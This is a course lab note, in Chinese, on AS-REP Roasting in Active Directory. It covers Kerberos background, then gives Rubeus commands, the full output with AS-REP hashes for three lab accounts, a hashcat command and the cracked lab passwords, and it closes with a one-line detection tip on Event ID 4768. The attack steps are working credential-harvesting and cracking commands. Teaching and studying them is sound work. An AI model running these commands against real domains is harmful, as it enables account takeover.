NTUSTISC - AD Note - Lab(0x21 AS-REP Roasting)

NTUSTISC - AD Note - Lab(0x21 AS-REP Roasting)

Lecture Video: 2022/05/11 AD 安全 2

Background

第十四章 Kerberos 認證系統

  • 簡介:這是一種計算機網路授權協議,簡單說如果在同一個domain底下,想要存取某一個server的某項服務,則要如何驗證該使用者的身分以及授權他使用該項服務的資格?換個角度想,如果不認證會怎麼樣?首先,如果不認證使用者身分,就直接讓授權使用該項服務,則最直觀的攻擊就是DoS,或是駭客可以透過該項服務打到內網 → 提權 → 橫向移動 → APT,看起來很危險;另外一方面,如果有驗證身分,但通過驗證的人一率給予使用服務的授權,又會怎麼樣?可以利用eavesdropping得到授權的ticket再利用reply attack還是可以偽造身分
  • 提醒:Windows Kerberos和MIT Kerberos在實作上有一點不一樣,如果想要知道windows kerberos可以看飛飛的文章12,然後自行比對粘添壽老師的影片
  • MIT Kerberos架構: 為了防止前面提到的問題,他增加了一個TGS的Server,但純控管tickets的發放,另外在驗證上面也增加了timestamp和請求方的網路位址,這樣就可以防止reply attack,而且短時間內都不需要再進行身分認證,很方便
  • Windows Kerberos架構:
  • 優點
    • 主密鑰分配:AS 伺服器除了必須擁有客戶的主密鑰之外,還必須擁有 TGS 的主密鑰;另外,TGS 伺服器也需要擁有所有伺服器的主密鑰。這就是 Kerberos 將所有參與者都稱為 Principal 的主要原因。
    • 客戶密碼只要輸入一次:客戶端取得通往 TGS 的門票(TicketTGS)之後,在該票的有效期限之內,都可以請求服務,而不需要再輸入密碼來索取門票。
    • 防禦偽裝攻擊:門票(TicketTGS與 TicketB)上有登錄該票的使用者識別(ID)、工作站位址(AD)、時間戳記(TS)與有效期間(Lifetime)。攻擊者攔截到門票之後,不易在在有效期內偽裝成合法客戶。
    • 防止重播攻擊:門票有註明時間戳記(T),當攻擊者重播門票時,接收端可以利用時間戳記辨別門票的新舊。

Lab

AS-REP Roasting

  • 攻擊情境:在Win2016的Server Manager中的Tools可以找到Active Directory User and Computer 在一般user的property中,可以看到Account/Account options最底下有一個選項Do not require Kerberos preauthentication,這個功能主要是前面提到的對於身分不會認證(1, 2步驟會略過,只執行3-6),他只會認證後面的ticket 雖然預設是不勾選,但有兩種情況會打勾
    1. 如果被駭客打進去到最高管理員,當然它會勾選這個功能方便搞事(所有帳號)
    2. 因為windows有分版本,如果要向下兼容各版本之間的認證,則該選項就一定要勾選(這也是為甚麼講師在前面有提到一定要升級AD的舊環境),這在很古老的系統中常常發生
  • 滿足條件:只要前面提到的功能被打開,就可以進行AS-REP Roasting
  • 如何攻擊:
    • 自己把Microsoft的document看懂如何pack一個packet,然後自己實作
    • 另一種方式就直接用工具Rubeus 1.6.4,他可以直接把有勾選該項目的帳號,送出AS-REQ的請求,然後接收AS-REP的回應,並把接收到的tickets以你指定的格式印出來
    • Cheat Sheet:
      1
      2
        $ Rubeus.exe asreproast
        $ Rubeus.exe asreproast /format:hashcat /outfile:out.txt
      

實際執行

  1. Using Rubeus.exe
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
     $ Rubeus.exe asreproast
    
     ______        _
     (_____ \      | |
     _____) )_   _| |__  _____ _   _  ___
     |  __  /| | | |  _ \| ___ | | | |/___)
     | |  \ \| |_| | |_) ) ____| |_| |___ |
     |_|   |_|____/|____/|_____)____/(___/
    
     v1.6.4
    
    
     [*] Action: AS-REP roasting
    
     [*] Target Domain          : kuma.org
    
     [*] Searching path 'LDAP://WIN-818G5VCOLJO.kuma.org/DC=kuma,DC=org' for AS-REP roastable users
     [*] SamAccountName         : reyna.gwendolyn
     [*] DistinguishedName      : CN=Reyna Gwendolyn,CN=Users,DC=kuma,DC=org
     [*] Using domain controller: WIN-818G5VCOLJO.kuma.org (192.168.222.128)
     [*] Building AS-REQ (w/o preauth) for: 'kuma.org\reyna.gwendolyn'
     [+] AS-REQ w/o preauth successful!
     [*] AS-REP hash:
    
         $krb5asrep$reyna.gwendolyn@kuma.org:4B08601B0A55BA231BED4333EAA6ED9C$E146006C2F6
         B5EF8D78D4280E646FA601860D754261C28DC48470F2EA99E75DFD03E53F4BAC09BD1BE9697C5918
         C48E5BA6A64D51A550FC6833327EBEF9A0C62F2448BA3CA3AA7D9BD375BF8BE693B1BC199A442053
         AC3A40FA3F29EE3ABFB9B1B1E1C31DDD508FAB7971F1FDCE057D5A4481678511188DB99921762116
         934D04C72071DAACFC6FFA8250380CD9ECECF95CC5702FD7A67AB90F18C299BB9AD8FF4A9325730E
         859F2105F1AF64E170EB118111414CC44D0CDD1199860EF0D99ECD33FB618FEDCFAE96E0DFB75A4D
         9EF3C06C99DBBD9C0A69A344C4C5A65B5B702152081F9
    
     [*] SamAccountName         : henrieta.sabine
     [*] DistinguishedName      : CN=Henrieta Sabine,CN=Users,DC=kuma,DC=org
     [*] Using domain controller: WIN-818G5VCOLJO.kuma.org (192.168.222.128)
     [*] Building AS-REQ (w/o preauth) for: 'kuma.org\henrieta.sabine'
     [+] AS-REQ w/o preauth successful!
     [*] AS-REP hash:
    
         $krb5asrep$henrieta.sabine@kuma.org:DEBC5F5111CE6D774625EB3DCC14925A$A91DD569550
         A48219DAC0F53E4114DA7027E073DD6A86EFC83C79206787A84DBF6FC7F4B5168D7CBE65B073A05B
         B13AF1514D32D787948F91E05FF40191B6FE7819B9F5A978377D82B5E9532688B1CF28BBA1370365
         68C110CAB41FEC26D262DC422CB54B678456470AE34F23B6D2CB1597E9565CACD11C1C5F9683408B
         241650007B0E162C40D7694D8F5A5154254E0A54829C7784EB5493DF15812271C3161DD5937B368B
         93406383215D909289E3FE096A10D396EF662C02031E6D4352C6A411EEC38B0A1D02A2E0AB03C86E
         CBF9C07C441C4D5EBD4269400373A2AFAD5879293B856
    
     [*] SamAccountName         : giulietta.moyra
     [*] DistinguishedName      : CN=Giulietta Moyra,CN=Users,DC=kuma,DC=org
     [*] Using domain controller: WIN-818G5VCOLJO.kuma.org (192.168.222.128)
     [*] Building AS-REQ (w/o preauth) for: 'kuma.org\giulietta.moyra'
     [+] AS-REQ w/o preauth successful!
     [*] AS-REP hash:
    
         $krb5asrep$giulietta.moyra@kuma.org:11CD5E39C2CEA9695C50826E6FCA66D3$9E2B2F3ED60
         5D93BF02721F921D09DE188F1F7F3BE23907A73B95B30ECB0C1CFF5C68A0E814931A6A839DC1098C
         2F3EF8B0A68492CA16E6CD96C843373581DD8CF14F7F58AE9B63A4717D1E8F7C2AA56DAC959F589C
         1533249CA5BF72BBFC833609A0D958B7B5E692632D3557678B671E65C092494B38FC3840D09E16F4
         1FE8D1BB86FAF16BD3F39E4E8CF8AC07A10FCD20E947D3A496A4204350D1E3B0448DB92AE749F3D0
         7A9D1582677A5958B70DD38E2CDFC914C2848D0F9BC0E78D65AB7F3B9E1B5AFFA53588FBD7FFB297
         357047776932B4EA2405ECB5705418BDE7CB8DBE725BB
    

    可以看到他總共吐出了三個hash,分別對應到三個使用者:reyna.gwendolyn, henrieta.sabine, henrieta.sabine,如果仔細對應win2016相對使用者的property會發現的確,這三個user的該選項都有打勾,現在則是利用hashcat之類的工具把hash暴力解開

  2. Using Hashcat

    可以直接在Kali使用hashcat,不過我是直接在windows上操作,可以參考3,講解的非常詳細

    1
     $ hashcat.exe -m 18200 -a 3 ".\Kerberos-AS-REP.txt" -o output.txt
    

    Output Result

    1
    2
    3
     $krb5asrep$23$giulietta.moyra@kuma.org:eb292e4b9e547357db6500d982df775b$2def9955e12f072fdc189adcde61dbff3939f7cfda5c84583c78335edfff1c5d246e3c311b991e26c0ca7afbb97757a2751a521b596e9da9a3ffcbec31205b61e45473cfbff58046f5a9759aa186ebbb90894749b2f0cbd91d6558e8f0750aab7c0b46d8947f843327f9dceb94c4b4043ee902856f3c01493e353c28cd956aaa0c58c6ded536e11855d4584aeed3486e379f91199eb96808631f2b72f0443e637cc66268bc8dd87528daf96b28de8fbccae28aa52b38f5069e5aa2c9b4dd9e21ed77ac30d6602459376a8a791d133f577024c43cae1ac8bd973d39e191ba535c0f660b0e:willow
     $krb5asrep$23$reyna.gwendolyn@kuma.org:ef97037a66f7cedcacf9aeae90e8d8cc$930cc1157dfee8d506c728f11184963e4011a0254ea83428aaf529de9c2a10c533ff12c0b6f519aad9c65a7fa6a645e6552f57936001c8b8011bbf1f3f93981bd6126befb0dd74b1df7930336f240f623d1d9e53bbb5e37864559d37ee3f1a0edd319a7252a3b6bab5b50d81967abc630eccb804dd200218b7222914776d71387c2916353c3475426515aaa5b95108b9e9ae68c8ece2dfeeaf7836dd9f3778c49c4090850925332470b9eab9c77c4549237a17f58e41b0b09a1be6a99827f5b14d78a734300bb08056c40a28b6f69fa2c7b72afa7d18d831631b19b7cbcc5a6dc928d66d:edward
     $krb5asrep$23$henrieta.sabine@kuma.org:cef1cda05e49376d4749ace914595ea1$43d6d77a9de81c2e1c6a00fd7ea6bbb2dc087e26568ae31ab08f2b6887ccfa427ca59fab8dd7bd69d3c2b13b5f1c4ec2dff56f975940d1096eac8bca440c5adafa49e5e8b57d3cc7fddf83a71fef5353a3e3e2a85a6269a39a007bd5272ef40ba721b30313a2054d684e8efe81b214a79af9e1d5d75b1746070486a0d90e79123d1c881a56d190a7c76f1ad951695faee37f64f7f063fd38f2d7af0476747d10c5d16540c34396a0e752aaa820b4147396829affd62b99de0fa6fd0fba13a5271d5fd8b6484a7e9ef52526d0b6cef84f1ab4c939dc977e967bd12c98ca6fb55508d1a770:therock
    

    這三者的密碼就被爆出來了,分別是

    • giulietta.moyra → willow
    • reyna.gwendolyn → edward
    • henrieta.sabine → therock

How to detect it?

Event ID: 4768(預設不開,因為在一般中大型公司中,開了這個所收到的event會超多,所以除非做好filter不然一般不開)

Reference